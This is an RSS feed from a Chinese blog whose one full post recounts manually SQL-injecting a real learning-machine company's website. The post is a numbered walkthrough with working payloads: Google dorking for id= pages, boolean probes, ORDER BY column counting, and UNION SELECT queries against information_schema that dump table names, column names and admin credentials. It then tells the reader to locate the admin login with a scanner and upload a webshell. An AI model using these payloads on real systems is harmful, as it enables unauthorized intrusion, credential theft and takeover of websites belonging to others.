<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[Heck's  Blog]]></title> 
<link>https://www.heckjj.com/index.php</link> 
<description><![CDATA[一瞬间的决定，往往可以改变很多，事实上，让自己成功的往往不是知识，是精神！ 如果你总是为自己找借口，那只好让成功推迟。执行力，今天！]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[Heck's  Blog]]></copyright>
<item>
<link>https://www.heckjj.com/sql-injection-inner-learning-machine-website/</link>
<title><![CDATA[手工注入国内某学习机公司网站简单过程]]></title> 
<author>Heck &lt;@hecks.tk&gt;</author>
<category><![CDATA[入侵检测]]></category>
<pubDate>Fri, 04 May 2012 16:57:41 +0000</pubDate> 
<guid>https://www.heckjj.com/sql-injection-inner-learning-machine-website/</guid> 
<description>
<![CDATA[ 
	<span style="font-family: 微软雅黑;">1、首先google hacking一把，在谷歌搜索框中输入site:xxxxx.com&nbsp;&nbsp;inurl:asp/php?id=<br/><br/>2、判断是否过敏。<br/><br/>3、And 1=1&nbsp;&nbsp; and 1=2&nbsp;&nbsp;<br/><br/>4、Order by x--&nbsp;&nbsp;&nbsp;&nbsp;x为数字，猜解有几个表段。。。<br/><br/>5、猜解到x以后，记住x的值。。。。<br/><br/>6、And 1=2 union select 1,2,3,4,5,....,x--<br/><br/>7、页面会报错，并出现数字，假设初相的数字是5，那么这一步就这样做：（用user()替换第六步中的5，再次提交）。报错的页面5的位置，会出现被5所覆盖的字符串的内容。记录该内容，这里用^表示。<br/><br/>8、再用version()替换刚才user()的位置，再次提交，目的是为了获取数据库的版本。报错的页面^的位置的内容会变为版本号码，例如5.0.27。</span><span style="font-family: 微软雅黑;"><br/><br/>9、用database（）替换上一步中的version()，查看当前库的名字，记录为^^。<br/><br/>10、MySQL5.0以上的版本添加了一个虚拟库information_schema，存储的是其他库的库名，表明，还有字段。<br/><br/>11、And 1=2 1,2,3,4,table_name,6,.....,x空格from information_schema.tables where table_schema=^^--(这一步要将^^的内容转换成十六进制在提交),提交之后，页面就会显示出库^^中所有的表名。将^^--改为^^ limit 0,1--提交，之页面只显示管理员账户的表名，记录为^^^。下面提交的时候要记得将^^^转换为十六进制再提交。<br/><br/>12、爆字段。And 1=2 1,2,3,4,column_name,6,.....,x空格from information_schema.columns where table_name=^^^limit 0,1--&nbsp;&nbsp;&nbsp;&nbsp; 提交，之后会爆出字段,记录为^^^^*。将limit 0,1改为limit 0,2再提交，可以再爆下一个字段^^^^&amp;。<br/><br/>13、爆字段。And 1=2 1,2,3,4,^^^^*,6,...,x from ^^ limit 0,1--&nbsp;&nbsp;提交，爆出该字段中第一个用户帐号。同样，用And 1=2 1,2,3,4,^^^^&amp;,6,...,x from ^^ limit 0,1--提交，爆出与帐号对应的内容。<br/><br/>14、下面要找该网站的管理后台。。。有了帐号密码，再有后台登录URL，那么就可以进入后台了。：）。。。可以用啊D工具扫描后台，很容易的，你下载一个啊D，一看就会了。这里举个例子，一般后台的地址都是http://******.com/login.php之类的。。。之后用浏览器打开http://******.com/login.php，输入你爆出来的帐号和密码。<br/><br/>15、登陆成功以后，要找到网站后台可以上传的地方。<br/><br/>在可以上传的地方，上传webshell。</span><br/><br/>Tags - <a href="https://www.heckjj.com/tags/sql/" rel="tag">sql</a> , <a href="https://www.heckjj.com/tags/sql%25E6%25B3%25A8%25E5%2585%25A5/" rel="tag">sql注入</a>
]]>
</description>
</item><item>
<link>https://www.heckjj.com/sql-injection-inner-learning-machine-website/#blogcomment</link>
<title><![CDATA[[评论] 手工注入国内某学习机公司网站简单过程]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>https://www.heckjj.com/sql-injection-inner-learning-machine-website/#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>